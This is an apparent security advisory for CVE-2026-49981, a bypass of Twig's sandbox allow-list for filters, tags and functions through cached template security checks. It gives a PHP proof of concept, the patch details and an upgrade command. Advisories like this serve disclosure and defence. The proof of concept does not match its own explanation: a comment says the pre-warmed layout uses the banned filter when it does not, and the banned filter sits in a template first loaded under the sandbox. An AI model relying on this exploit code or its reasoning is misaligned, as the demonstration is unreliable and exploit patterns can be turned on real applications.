highCVE-2026-49981Jul 1, 2026

CVE-2026-49981: Twig Sandbox Filter/Tag/Function Allow-list Bypass via Cached Template

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Twig's sandbox allow-list for filters, tags, and functions can be silently skipped when a template is loaded before sandboxing is active, letting untrusted templates call anything they want regardless

Packagetwig/twig
Ecosystemcomposer
Affected<= 3.26.0
Fixed in3.27.0

The problem

Each compiled Twig `Template` subclass runs its `checkSecurity()` method exactly once, from the constructor, gated by whether the sandbox is active at that moment. The result is then cached in `Environment::$loadedTemplates` for the lifetime of the process.

Any later sandbox state change on the same `Environment` (toggling `enableSandbox()`/`disableSandbox()`, swapping the policy via `setSecurityPolicy()`, or simply having a parent or included template pre-warmed before a sandboxed render reaches it) leaves the stale, bypass verdict in place.

Filters, tags, and functions not on the allow-list run without restriction.

Proof of concept

A working proof-of-concept for CVE-2026-49981 in twig/twig, with the exact payload below.

php
<?php
// Shared Environment used for both non-sandboxed and sandboxed renders
// (typical in FrankenPHP, RoadRunner, or Symfony Messenger workers)

use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;

$loader = new ArrayLoader([
    // layout.html.twig uses the banned |upper filter
    'layout.html.twig'  => '{% block body %}{% endblock %}',
    // attacker.html.twig extends layout and calls |upper (not in allow-list)
    'attacker.html.twig' => '{% extends "layout.html.twig" %}'
        . '{% block body %}{{ secret|upper }}{% endblock %}',
]);

$twig = new Environment($loader);

// Step 1: non-sandboxed render pre-warms layout.html.twig into $loadedTemplates.
// checkSecurity() runs here with isSandboxed() === false => no-op verdict cached.
$twig->render('layout.html.twig');

// Step 2: enable the sandbox with a policy that explicitly bans |upper.
$policy = new SecurityPolicy(
    allowedTags:     ['extends', 'block'],
    allowedFilters:  ['escape'],          // 'upper' is NOT allowed
    allowedFunctions: [],
    allowedProperties: [],
    allowedMethods: [],
);
$twig->addExtension(new SandboxExtension($policy, sandboxed: true));

// Step 3: sandboxed render of attacker template.
// layout.html.twig is already in $loadedTemplates; its cached no-op verdict
// is reused, so |upper runs despite not being in the allow-list.
echo $twig->render('attacker.html.twig', ['secret' => 'classified']);
// Output: CLASSIFIED  <-- sandbox bypass confirmed

The root cause is CWE-693 (Protection Mechanism Failure): `checkSecurity()` was called once from the `Template` constructor and the result was permanently cached, making it sticky across sandbox state changes on the same `Environment` instance.

The patch (PR #558) moves the check out of the constructor entirely. It introduces a public `ensureSecurityChecked()` method that re-evaluates `SandboxExtension::isSandboxed($source)` against the **current** state and calls `checkSecurity()` only when sandboxing is active.

This method is now invoked at every entry point that can reach a `Template`: `yield()`, `yieldBlock()`, `getParent()`, and `getTemplateForMacro()`. Because `checkSecurity()` walks compile-time-static arrays, the per-render overhead is negligible.

Note: method, property, and `__toString` allow-lists were never affected because `checkMethodAllowed()`, `checkPropertyAllowed()`, and `ensureToStringAllowed()` already re-read current state on every call.

The fix

Upgrade to twig/twig 3.27.0 or later (3.27.1 is the current stable release with additional regression fixes). Run: composer require twig/twig:^3.27.1

As an architectural measure, avoid sharing a single Twig `Environment` between sandboxed and non-sandboxed renders in long-lived workers. Point a dedicated sandboxed `Environment` at a restricted loader for untrusted template authors instead.

Reported by Fabien Potencier.

References: [1][2][3]

Related research